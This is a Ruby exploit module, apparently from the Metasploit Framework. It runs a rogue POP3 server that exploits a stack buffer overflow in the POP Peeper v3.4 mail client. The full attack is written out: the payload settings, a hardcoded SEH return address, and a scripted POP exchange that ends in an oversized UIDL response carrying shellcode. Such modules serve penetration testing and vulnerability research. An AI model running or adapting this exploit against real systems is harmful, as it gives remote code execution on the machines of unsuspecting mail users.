90 lines
2.1 KiB
Ruby
90 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'POP Peeper v3.4 UIDL Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in POP Peeper v3.4.
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When a specially crafted UIDL string is sent to a client,
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an attacker may be able to execute arbitrary code. This
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module is based off of krakowlabs code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '33926' ],
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[ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x0a\x20\x0d",
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'POP Peeper v3.4', { 'Ret' => 0x10014e39 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 27 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
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], self.class)
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end
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def on_client_connect(client)
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ok = "+OK\r\n"
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client.put(ok)
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end
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def on_client_data(client)
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return if ((p = regenerate_payload(client)) == nil)
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ok = "+OK\r\n"
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client.put(ok)
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client.get_once
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ok = "+OK\r\n"
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client.put(ok)
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client.get_once
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ok = "+OK 1 100\r\n"
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client.put(ok)
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client.get_once
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sploit = "+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n"
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client.put(sploit)
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handler
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service.close_client(client)
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end
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end
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